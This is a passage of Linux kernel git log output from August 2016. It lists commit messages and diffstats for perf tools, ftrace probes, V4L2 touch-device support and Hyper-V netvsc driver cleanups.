probe: Add supported for type casting by the running kernel Add a checking routine what types are supported by the running kernel by finding the pattern in /tracing/README. Signed-off-by: Masami Hiramatsu Cc: Alexander Shishkin Cc: Hemant Kumar Cc: Naohiro Aota Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/r/147151071172.12957.3340095690753291085.stgit@devbox [ 'enum probe_type' has no negative entries, so ends up as 'unsigned', remove '< 0' test to fix the build on at least centos:5, debian:7 & ubuntu:12.04.5 ] Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/probe-file.c | 57 ++++++++++++++++++++++++++++++++++++++++++ tools/perf/util/probe-file.h | 10 ++++++++ tools/perf/util/probe-finder.c | 1 + 3 files changed, 68 insertions(+) commit 233b213a3143d9f1dc6984816262c43f95144bb9 Author: Nick Dyer Date: Sun Aug 14 16:57:29 2016 -0300 [media] Documentation: add support for V4L touch devices Document the new touch API. Signed-off-by: Nick Dyer Signed-off-by: Hans Verkuil [hans.verkuil@cisco.com: fix up videodev2.h.rst.exceptions] Signed-off-by: Mauro Carvalho Chehab Acked-by: Dmitry Torokhov Documentation/media/uapi/mediactl/media-types.rst | 24 +++-- Documentation/media/uapi/v4l/dev-touch.rst | 56 +++++++++++ Documentation/media/uapi/v4l/devices.rst | 1 + Documentation/media/uapi/v4l/pixfmt-tch-td08.rst | 80 ++++++++++++++++ Documentation/media/uapi/v4l/pixfmt-tch-td16.rst | 111 ++++++++++++++++++++++ Documentation/media/uapi/v4l/pixfmt-tch-tu08.rst | 78 +++++++++++++++ Documentation/media/uapi/v4l/pixfmt-tch-tu16.rst | 110 +++++++++++++++++++++ Documentation/media/uapi/v4l/pixfmt.rst | 1 + Documentation/media/uapi/v4l/tch-formats.rst | 18 ++++ Documentation/media/uapi/v4l/vidioc-enuminput.rst | 8 ++ Documentation/media/uapi/v4l/vidioc-querycap.rst | 8 ++ Documentation/media/videodev2.h.rst.exceptions | 2 + 12 files changed, 490 insertions(+), 7 deletions(-) commit d229d205132bfd75fa0cf36fce24264ed01de28a Author: Andre Przywara Date: Mon Aug 8 18:21:43 2016 +0100 arm64: sunxi: Kconfig: add essential pinctrl driver The pinctrl driver is essential for the Allwinner SoCs to work. Add the driver's config symbol to the Kconfig entry to always compile it in. We can't use the arm approach to make the _driver's_ Kconfig symbol def_bool, because we lack the MACH_* symbols in arm64. That line was in the original pinctrl driver patch, but got removed to avoid the dependency on the Kconfig patch [1]. Also add the general PINCTRL symbol, which isn't selected automatically for the same reason. Reported-by: Jeroen Dekien Signed-off-by: Andre Przywara [1]: http://lists.infradead.org/pipermail/linux-arm-kernel/2016-March/414086.html Signed-off-by: Maxime Ripard arch/arm64/Kconfig.platforms | 2 ++ 1 file changed, 2 insertions(+) commit b497265266a8083547e9ca162ace72cbb41522f1 Author: Nick Dyer Date: Mon Aug 22 06:28:23 2016 -0300 [media] Input: sur40 - use new V4L2 touch input type Support both V4L2_TCH_FMT_TU08 and V4L2_PIX_FMT_GREY for backwards compatibility. Signed-off-by: Nick Dyer Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Acked-by: Dmitry Torokhov drivers/input/touchscreen/sur40.c | 124 ++++++++++++++++++++++++++++---------- 1 file changed, 91 insertions(+), 33 deletions(-) commit 3a762dbd5347514c3cb2ac756a92a3d1c7646a2d Author: Nick Dyer Date: Mon Jul 18 18:10:37 2016 -0300 [media] Input: synaptics-rmi4 - add support for F54 diagnostics Function 54 implements access to various RMI4 diagnostic features. This patch adds support for retrieving this data. It registers a V4L2 device to output the data to user space. Signed-off-by: Nick Dyer Tested-by: Andrew Duggan Tested-by: Chris Healy Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Acked-by: Dmitry Torokhov drivers/input/rmi4/Kconfig | 11 + drivers/input/rmi4/Makefile | 1 + drivers/input/rmi4/rmi_bus.c | 3 + drivers/input/rmi4/rmi_driver.h | 1 + drivers/input/rmi4/rmi_f54.c | 756 ++++++++++++++++++++++++++++++++++++++++ 5 files changed, 772 insertions(+) commit 06b3d3f38c19601564cdd10443edbcac5c8293e2 Author: Nick Dyer Date: Mon Jul 18 18:10:36 2016 -0300 [media] Input: atmel_mxt_ts - add support for reference data There are different datatypes available from a maXTouch chip. Add support to retrieve reference data as well. Signed-off-by: Nick Dyer Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Acked-by: Dmitry Torokhov drivers/input/touchscreen/atmel_mxt_ts.c | 57 ++++++++++++++++++++++++++++---- 1 file changed, 51 insertions(+), 6 deletions(-) commit 566d533a4bd2ed9a7ce26a08df31a6e634051562 Author: Nick Dyer Date: Mon Jul 18 18:10:35 2016 -0300 [media] Input: atmel_mxt_ts - add diagnostic data support for mXT1386 The mXT1386 family of chips have a different architecture which splits the diagnostic data into 3 columns. Signed-off-by: Nick Dyer Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Acked-by: Dmitry Torokhov drivers/input/touchscreen/atmel_mxt_ts.c | 31 ++++++++++++++++++++++++++++--- 1 file changed, 28 insertions(+), 3 deletions(-) commit de601f71e7d1bdfa411e61d43af7b2b6cde5d2a2 Author: Nick Dyer Date: Mon Jul 18 18:10:34 2016 -0300 [media] Input: atmel_mxt_ts - handle diagnostic data orientation Invert the diagnostic data to match the orientation of the input device. Signed-off-by: Nick Dyer Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Acked-by: Dmitry Torokhov drivers/input/touchscreen/atmel_mxt_ts.c | 26 +++++++++++++++++++++----- 1 file changed, 21 insertions(+), 5 deletions(-) commit 2786489f324e8384a814793d88c3a76d1973f422 Author: Nick Dyer Date: Mon Jul 18 18:10:33 2016 -0300 [media] Input: atmel_mxt_ts - read touchscreen size The touchscreen may have a margin where not all the matrix is used. Read the parameters from T9 and T100 and take account of the difference. Note: this does not read the XORIGIN/YORIGIN fields so it assumes that the touchscreen starts at (0,0) Signed-off-by: Nick Dyer Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Acked-by: Dmitry Torokhov drivers/input/touchscreen/atmel_mxt_ts.c | 42 +++++++++++++++++++++++++++----- 1 file changed, 36 insertions(+), 6 deletions(-) commit ecfdd7e2660e5208072d3afaed8c3e05a643b64f Author: Nick Dyer Date: Mon Jul 18 18:10:32 2016 -0300 [media] Input: atmel_mxt_ts - output diagnostic debug via V4L2 device Register a video device to output T37 diagnostic data. Signed-off-by: Nick Dyer Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Acked-by: Dmitry Torokhov drivers/input/touchscreen/Kconfig | 6 +- drivers/input/touchscreen/atmel_mxt_ts.c | 245 +++++++++++++++++++++++++++++++ 2 files changed, 249 insertions(+), 2 deletions(-) commit d6a39404984094c5e20e1d17a91036ac6b125731 Author: Nick Dyer Date: Mon Jul 18 18:10:31 2016 -0300 [media] Input: atmel_mxt_ts - add support for T37 diagnostic data Atmel maXTouch devices have a T37 object which can be used to read raw touch deltas from the device. This consists of an array of 16-bit integers, one for each node on the touchscreen matrix. Signed-off-by: Nick Dyer Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Acked-by: Dmitry Torokhov drivers/input/touchscreen/Kconfig | 6 ++ drivers/input/touchscreen/atmel_mxt_ts.c | 159 +++++++++++++++++++++++++++++++ 2 files changed, 165 insertions(+) commit b2fe22d0cf64708c50c26f11b3da8b79809c699b Author: Nick Dyer Date: Mon Jul 18 18:10:30 2016 -0300 [media] v4l2-core: Add support for touch devices Some touch controllers send out touch data in a similar way to a greyscale frame grabber. Add new device type VFL_TYPE_TOUCH: - This uses a new device prefix v4l-touch for these devices, to stop generic capture software from treating them as webcams. Otherwise, touch is treated similarly to video capture. - Add V4L2_INPUT_TYPE_TOUCH - Add MEDIA_INTF_T_V4L_TOUCH - Add V4L2_CAP_TOUCH to indicate device is a touch device Add formats: - V4L2_TCH_FMT_DELTA_TD16 for signed 16-bit touch deltas - V4L2_TCH_FMT_DELTA_TD08 for signed 16-bit touch deltas - V4L2_TCH_FMT_TU16 for unsigned 16-bit touch data - V4L2_TCH_FMT_TU08 for unsigned 8-bit touch data This support will be used by: - Atmel maXTouch (atmel_mxt_ts) - Synaptics RMI4. - sur40 Signed-off-by: Nick Dyer Tested-by: Chris Healy Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Acked-by: Dmitry Torokhov Documentation/media/kapi/v4l2-dev.rst | 1 + drivers/media/media-entity.c | 2 ++ drivers/media/v4l2-core/v4l2-dev.c | 14 +++++++++++--- drivers/media/v4l2-core/v4l2-ioctl.c | 36 ++++++++++++++++++++++++++++++----- include/media/v4l2-dev.h | 4 +++- include/uapi/linux/media.h | 1 + include/uapi/linux/videodev2.h | 9 +++++++++ 7 files changed, 58 insertions(+), 9 deletions(-) commit aaf578e12e06160792ae5dd71dee3b074e0f9475 Author: Nick Dyer Date: Mon Jul 18 18:10:29 2016 -0300 [media] Input: atmel_mxt_ts - update MAINTAINERS email address I'm leaving ITDev, so change to my personal email. My understanding is that someone at Atmel will take this on once their takeover by Microchip has settled down. Signed-off-by: Nick Dyer Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Acked-by: Dmitry Torokhov MAINTAINERS | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b50b77e6c9a99ddae5266b21cf6757e91d18ffc2 Author: Niklas Söderlund Date: Mon Aug 15 12:06:35 2016 -0300 [media] rcar-vin: move media bus information to struct rvin_graph_entity The primary reason for this change is to prepare for Gen3 support where there will be more then one possible video source. Each source will have its own media bus format and code, so it needs to be moved from the per device structure to a structure used to represent an individual connection to a video source. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-core.c | 12 ++++++------ drivers/media/platform/rcar-vin/rcar-dma.c | 10 +++++----- drivers/media/platform/rcar-vin/rcar-v4l2.c | 2 +- drivers/media/platform/rcar-vin/rcar-vin.h | 9 +++++---- 4 files changed, 17 insertions(+), 16 deletions(-) commit 28579f37467cd1a9130a6287cf8322986e0b56f9 Author: Daniel Vetter Date: Tue Aug 23 17:27:27 2016 +0200 drm/fb-helper: Make docs for fb_set_suspend wrappers consistent I figured I might as well go ocd and make them booleans and rename the locked version too. v2: Review from Noralf. Reported-by: kbuild test robot Cc: Noralf Trønnes Fixes: cfe63423d9be ("drm/fb-helper: Add drm_fb_helper_set_suspend_unlocked()") Acked-by: Noralf Trønnes Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160823152727.31788-1-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_fb_helper.c | 10 +++++----- include/drm/drm_fb_helper.h | 8 ++++---- 2 files changed, 9 insertions(+), 9 deletions(-) commit 3c90a941eda4836b0492b7f44e596a2700c1d0d6 Merge: 01555e6 4323b47 Author: David S. Miller Date: Tue Aug 23 12:05:38 2016 -0700 Merge branch 'hv_netvsc-cleanups' Stephen Hemminger says: ==================== Hyper-V network driver cleanups. The only new functionality is minor extensions to ethtool. ==================== Signed-off-by: David S. Miller commit 4323b47cf8edfe95bd58e20965667e71121c866e Author: Stephen Hemminger Date: Tue Aug 23 12:17:57 2016 -0700 hv_netvsc: add ethtool statistics for tx packet issues Printing console messages is not helpful when system is out of memory; and can be disastrous with netconsole. Instead keep statistics of these anomalous conditions. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/hyperv_net.h | 9 +++++ drivers/net/hyperv/netvsc_drv.c | 86 +++++++++++++++++++++++++++++++++-------- 2 files changed, 79 insertions(+), 16 deletions(-) commit e3f74b841d482e962b9f5a907eeb25eeeb09aa60 Author: Stephen Hemminger Date: Tue Aug 23 12:17:56 2016 -0700 hv_netvsc: report vmbus name in ethtool Make netvsc on vmbus behave more like PCI. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc_drv.c | 4 ++++ include/linux/hyperv.h | 7 +++++++ 2 files changed, 11 insertions(+) commit 6c4c137e5035e0e17fa40c223fa0a3167e0f65fa Author: Stephen Hemminger Date: Tue Aug 23 12:17:55 2016 -0700 hv_netvsc: make variable local The variable m_ret is only used in one basic block. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 7a2a0a84fda33062200decf5e201b182591bf0ec Author: Stephen Hemminger Date: Tue Aug 23 12:17:54 2016 -0700 hv_netvsc: make netvsc_destroy_buf void No caller checks the return value. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc.c | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) commit bc304dd3b4444b84082c483534a8dcac7a22cb9d Author: Stephen Hemminger Date: Tue Aug 23 12:17:53 2016 -0700 hv_netvsc: refactor completion function Break the different cases, code is cleaner if broken up Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc.c | 103 ++++++++++++++++++++++++-------------------- 1 file changed, 56 insertions(+), 47 deletions(-) commit 0ab05141f97de2ac954c267c27b256ebd241e762 Author: Stephen Hemminger Date: Tue Aug 23 12:17:52 2016 -0700 hv_netvsc: rearrange start_xmit Rearrange the transmit routine to eliminate goto's and unnecessary boolean variables. Use standard functions to test for vlan tag. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc_drv.c | 106 +++++++++++++++++++--------------------- 1 file changed, 51 insertions(+), 55 deletions(-) commit fd612602d6a7919982779fda914bd521e5778593 Author: Stephen Hemminger Date: Tue Aug 23 12:17:51 2016 -0700 hv_netvsc: init completion during alloc Move initialization to allocate where other fields are initialized. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit e08f3ea586d4145e36c77f0dd1602374b5d7e928 Author: Stephen Hemminger Date: Tue Aug 23 12:17:50 2016 -0700 hv_netvsc: make device_remove void Always returns 0 and no callers check. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/hyperv_net.h | 2 +- drivers/net/hyperv/netvsc.c | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) commit e5a78fad4f1eb49064e4c35d0a4263424b12124c Author: Stephen Hemminger Date: Tue Aug 23 12:17:49 2016 -0700 hv_netvsc: use ARRAY_SIZE() for NDIS versions Don't hard code size of array of NDIS versions. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 30d1de08c87ddde6f73936c3350e7e153988fe02 Author: Stephen Hemminger Date: Tue Aug 23 12:17:48 2016 -0700 hv_netvsc: make inline functions static Several new functions were introduced into hyperv.h but only used in one file. Move them and let compiler decide on inline. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc.c | 85 ++++++++++++++++++++++++++++++++++++++++++++- include/linux/hyperv.h | 84 -------------------------------------------- 2 files changed, 84 insertions(+), 85 deletions(-) commit 796cc88c32c1bd1f833d596448ac785a8736e57c Author: Stephen Hemminger Date: Tue Aug 23 12:17:47 2016 -0700 hv_netvsc: style cleanups Fix most of the complaints about the style of the code. Things like extra blank lines and return statements. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc.c | 18 ++---------------- drivers/net/hyperv/netvsc_drv.c | 7 ------- drivers/net/hyperv/rndis_filter.c | 8 +------- 3 files changed, 3 insertions(+), 30 deletions(-) commit e53a9c2a5a8cd0a3a8b3c0f9b7a3ad9bc6a28867 Author: Stephen Hemminger Date: Tue Aug 23 12:17:46 2016 -0700 hv_netvsc: use kcalloc Better to use kcalloc rather than kzalloc and multiply for an array. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9477386687354f2aa8f4843170b7093c6dd1eb37 Author: Stephen Hemminger Date: Tue Aug 23 12:17:45 2016 -0700 hv_netvsc: make RSS hash key static Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/hyperv_net.h | 2 -- drivers/net/hyperv/rndis_filter.c | 3 ++- 2 files changed, 2 insertions(+), 3 deletions(-) commit 8737caafd16790c654f1fb8564abcf6e1f3ffe19 Author: Stephen Hemminger Date: Tue Aug 23 12:17:44 2016 -0700 hv_netvsc: fix rtnl locking in callback The function get_netvsc_net_device had conditional locking. This was unnecessary, incorrect, but harmless. It was unnecessary since the code is only called from netlink netdev event callback where RTNL is always acquired before the callbacks are run. It was incorrect because of use of trylock and then continuing. Fix by replacing with proper assertion. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc_drv.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 864256255597aad86abcecbe6c53da8852ded15b Author: Masami Hiramatsu Date: Thu Aug 18 17:58:15 2016 +0900 ftrace: probe: Add README entries for k/uprobe-events Add README entries for kprobe-events and uprobe-events. This allows user to check what options can be acceptable for running kernel. E.g. perf tools can choose correct types for the kernel. Signed-off-by: Masami Hiramatsu Acked-by: Steven Rostedt Cc: Alexander Shishkin Cc: Hemant Kumar Cc: Naohiro Aota Cc: Peter Zijlstra Cc: Wang Nan Link: http://lkml.kernel.org/r/147151069524.12957.12957179170304055028.stgit@devbox Signed-off-by: Arnaldo Carvalho de Melo kernel/trace/trace.c | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit 17ce3dc7e5a0e4796cc7838d1f7b2531d0bca130 Author: Masami Hiramatsu Date: Thu Aug 18 17:57:50 2016 +0900 ftrace: kprobe: uprobe: Add x8/x16/x32/x64 for hexadecimal types Add x8/x16/x32/x64 for hexadecimal type casting to kprobe/uprobe event tracer. These type casts can be used for integer arguments for explicitly showing them in hexadecimal digits in formatted text. Signed-off-by: Masami Hiramatsu Acked-by: Steven Rostedt Cc: Alexander Shishkin Cc: Hemant Kumar Cc: Naohiro Aota Cc: Peter Zijlstra Cc: Wang Nan Link: http://lkml.kernel.org/r/147151067029.12957.11591314629326414783.stgit@devbox Signed-off-by: Arnaldo Carvalho de Melo Documentation/trace/kprobetrace.txt | 4 ++-- Documentation/trace/uprobetracer.txt | 4 ++-- kernel/trace/trace_kprobe.c | 4 ++++ kernel/trace/trace_probe.c | 30 +++++++++++++++++------------- kernel/trace/trace_probe.h | 9 +++++++++ kernel/trace/trace_uprobe.c | 4 ++++ tools/perf/Documentation/perf-probe.txt | 4 ++-- 7 files changed, 40 insertions(+), 19 deletions(-) commit 6637e6f1ac62e62a353612844db21cff9a17758b Author: Colin Ian King Date: Mon Aug 15 17:25:43 2016 +0100 perf hists browser: Remove superfluous null check on map 'map' is being already checked if it is NULL at the start of do_zoom_dso(), so the second subsequent check is superfluous and can be removed. Signed-off-by: Colin King Acked-by: Namhyung Kim Cc: Alexander Shishkin Cc: Jiri Olsa Cc: Pekka Enberg Cc: Peter Zijlstra Cc: Wang Nan Link: http://lkml.kernel.org/r/1471278343-14999-1-git-send-email-colin.king@canonical.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/browsers/hists.c | 2 -- 1 file changed, 2 deletions(-) commit 11196b79164c95b8e5968ff63fa6b59536c9748f Author: Rui Teng Date: Wed Aug 10 16:49:08 2016 +0800 perf tools: Skip running the feature tests for 'make install-doc' It is a requirement from the perf TODO list[1]: ''The feature tests should be performed only when a file that needs those tests, or at least only when some .c or .h file will be rebuilt. An initial step would be for 'make install-doc' not to run the feature tests, there it is not needed at all.'' By adding 'install-doc' to the NON_CONFIG_TARGETS, it will skip running the feature tests for such target. The Auto-detecting system features list will not be displayed: $ make install-doc BUILD: Doing 'make -j2' parallel build SUBDIR Documentation make[2]: Nothing to be done for 'install'. [1] https://perf.wiki.kernel.org/index.php/Todo Signed-off-by: Rui Teng Tested-by: Arnaldo Carvalho de Melo Cc: Alexander Shishkin Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1470818948-17784-1-git-send-email-rui.teng@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Makefile.perf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 11d8f870c8eb8dd41ade688fbad6946ad69243fe Author: Rui Teng Date: Thu Jul 28 10:05:57 2016 +0800 perf tools: Use __weak definition from linux/compiler.h Replace __attribute__((weak)) with __weak definition Signed-off-by: Rui Teng Cc: Alexander Shishkin Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1469671557-2256-2-git-send-email-rui.teng@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/header.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit fa1f456592347c6f40c9d37ea407b029fda5324a Author: Arnaldo Carvalho de Melo Date: Fri Aug 12 20:41:01 2016 -0300 perf report: Allow configuring the default sort order in ~/.perfconfig Allows changing the default sort order from "comm,dso,symbol" to some other default, for instance "sym,dso" may be more fitting for kernel developers. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Linus Torvalds Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-pm1h5puxua8nsxksd68fjm8r@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/perf-config.txt | 4 ++++ tools/perf/builtin-report.c | 4 ++++ tools/perf/util/sort.c | 2 +- tools/perf/util/sort.h | 2 +- 4 files changed, 10 insertions(+), 2 deletions(-) commit 39ff526350059e61234d58676c13bcfcaac3a451 Author: Mathieu Poirier Date: Thu Aug 11 10:20:56 2016 -0600 tools: Copy coresight-pmu.h header file needed by perf tools Directly accessing kernel files is not allowed anymore. As such making file coresight-pmu.h accessible by the perf tools and complain if this copy strays from the one found in the main kernel tree. Signed-off-by: Mathieu Poirier Cc: Jiri Olsa Cc: Peter Zijlstra Cc: Vince Weaver Link: http://lkml.kernel.org/r/1470932464-726-2-git-send-email-mathieu.poirier@linaro.org Signed-off-by: Arnaldo Carvalho de Melo tools/include/linux/coresight-pmu.h | 39 +++++++++++++++++++++++++++++++++++++ tools/perf/MANIFEST | 1 + tools/perf/Makefile.perf | 3 +++ 3 files changed, 43 insertions(+) commit 05ed3ac9417dac9be9dd63f3cf97416c80bad359 Author: Arnaldo Carvalho de Melo Date: Tue Aug 9 15:32:53 2016 -0300 perf disassemble: Extract logic to find file to pass to objdump to a separate function Disentangling this a bit further, more to come. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-7bjv2xazuyzs0xw01mlwosn5@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/annotate.c | 54 +++++++++++++++++++++++++++------------------- 1 file changed, 32 insertions(+), 22 deletions(-) commit 3caee094d160b0ef92988099105e9a173a3805b0 Author: Arnaldo Carvalho de Melo Date: Tue Aug 9 15:16:37 2016 -0300 perf disassemble: Simplify logic for picking the filename to disassemble Lots of changes to support kcore, compressed modules, build-id files left us with some spaguetti code, simplify it a bit, more to come. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-h70p7x451li3f2fhs44vzmm8@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/annotate.c | 41 ++++++++++++++++------------------------- 1 file changed, 16 insertions(+), 25 deletions(-) commit c12944f7faa7f76441d83c1413f13e8bc70162b2 Author: Arnaldo Carvalho de Melo Date: Tue Aug 9 14:56:13 2016 -0300 perf disassemble: Move check for kallsyms + !kcore We don't need to do all that filename logic to then just have to test something unrelated and bail out, move it to the start of the function. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-lk1v4srtsktonnyp6t1o0uhx@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/annotate.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit 29659ab4e7d02c08d8f2d08db0b0f708bd8b6771 Author: Jiri Olsa Date: Sun Aug 7 17:28:30 2016 +0200 perf hists: Add support for header span Add span argument for header callback function. The handling of this argument is completely in the hands of the callback. The only thing the caller ensures is it's zeroed on the beginning. Omitting span skipping in hierarchy headers and gtk code. The c2c code use this to span header lines based on the entries span configuration. Signed-off-by: Jiri Olsa Cc: David Ahern Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1470583710-1649-6-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-diff.c | 3 ++- tools/perf/ui/browsers/hists.c | 10 +++++++--- tools/perf/ui/gtk/hists.c | 2 +- tools/perf/ui/hist.c | 3 ++- tools/perf/ui/stdio/hist.c | 13 ++++++++----- tools/perf/util/hist.h | 2 +- tools/perf/util/sort.c | 6 ++++-- 7 files changed, 25 insertions(+), 14 deletions(-) commit f3705b062eafc2867eb0e9ee3502bd59564f103c Author: Jiri Olsa Date: Sun Aug 7 17:28:29 2016 +0200 perf tools stdio: Display multiple header lines Display multiple header lines in stdio output , if it's configured within struct perf_hpp_list::nr_header_lines. Signed-off-by: Jiri Olsa Cc: David Ahern Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1470583710-1649-5-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/stdio/hist.c | 34 +++++++++++++++++++++++++--------- 1 file changed, 25 insertions(+), 9 deletions(-) commit 69705b35859195b5640861fff91cc936d1baf4eb Author: Jiri Olsa Date: Sun Aug 7 17:28:28 2016 +0200 perf tools tui: Display multiple header lines Display multiple header lines in TUI browser, if it's configured within struct perf_hpp_list::nr_header_lines. Signed-off-by: Jiri Olsa Cc: David Ahern Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1470583710-1649-4-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/browsers/hists.c | 25 +++++++++++++++++-------- 1 file changed, 17 insertions(+), 8 deletions(-) commit 74bb43f29ec80bc998804fa7399930d86c4bae67 Author: Jiri Olsa Date: Sun Aug 7 17:28:27 2016 +0200 perf hists: Add line argument into perf_hpp_fmt's header callback Adding line argument into perf_hpp_fmt's header callback to be able to request specific header line. Signed-off-by: Jiri Olsa Cc: David Ahern Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1470583710-1649-3-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-diff.c | 3 ++- tools/perf/ui/browsers/hists.c | 6 +++--- tools/perf/ui/gtk/hists.c | 2 +- tools/perf/ui/hist.c | 2 +- tools/perf/ui/stdio/hist.c | 6 +++--- tools/perf/util/hist.h | 2 +- tools/perf/util/sort.c | 5 +++-- 7 files changed, 14 insertions(+), 12 deletions(-) commit f8e6710de859e1ac3a5df294bddeca19f60cec9a Author: Jiri Olsa Date: Sun Aug 7 17:28:26 2016 +0200 perf hists: Introduce nr_header_lines into struct perf_hpp_list Currently we support just single line headers, this is first step to allow more. Store the number of header lines in perf_hpp_list, which encompasses all the display/sort entries and is thus suitable to hold this value. Signed-off-by: Jiri Olsa Cc: David Ahern Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1470583710-1649-2-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/browsers/hists.c | 15 ++++++++++++--- tools/perf/ui/hist.c | 1 + tools/perf/util/hist.h | 1 + 3 files changed, 14 insertions(+), 3 deletions(-) commit b9c4b0f40d22d4b1d29540f5faf6ca4269f25848 Author: Arnaldo Carvalho de Melo Date: Mon Aug 8 15:37:58 2016 -0300 perf top: Use MSEC_PER_SEC Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-iof4j6mutyogdeie1sj98dhv@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-top.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 565e69114e4aa42664b0e7da135181651c3402f2 Author: Arnaldo Carvalho de Melo Date: Mon Aug 8 15:35:21 2016 -0300 perf bench futex: Use NSEC_PER_USEC Following kernel practices and better documentin Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-xncwqxegjp13g2nxih3lp9mx@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/bench/futex-requeue.c | 5 +++-- tools/perf/bench/futex-wake-parallel.c | 5 +++-- tools/perf/bench/futex-wake.c | 5 +++-- 3 files changed, 9 insertions(+), 6 deletions(-) commit c05a6e14150f81a8cb93d83af55582e05afc05ae Author: Arnaldo Carvalho de Melo Date: Mon Aug 8 15:10:44 2016 -0300 perf kvm: Use NSEC_PER_USEC Following kernel practices and better documenting units of time. Cc: Adrian Hunter Cc: Alexander Yarygin Cc: David Ahern Cc: Hemant Kumar Cc: Jiri Olsa Cc: Namhyung Kim Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-5x6p6fmzrogonpbnkkkw4usk@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-kvm.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 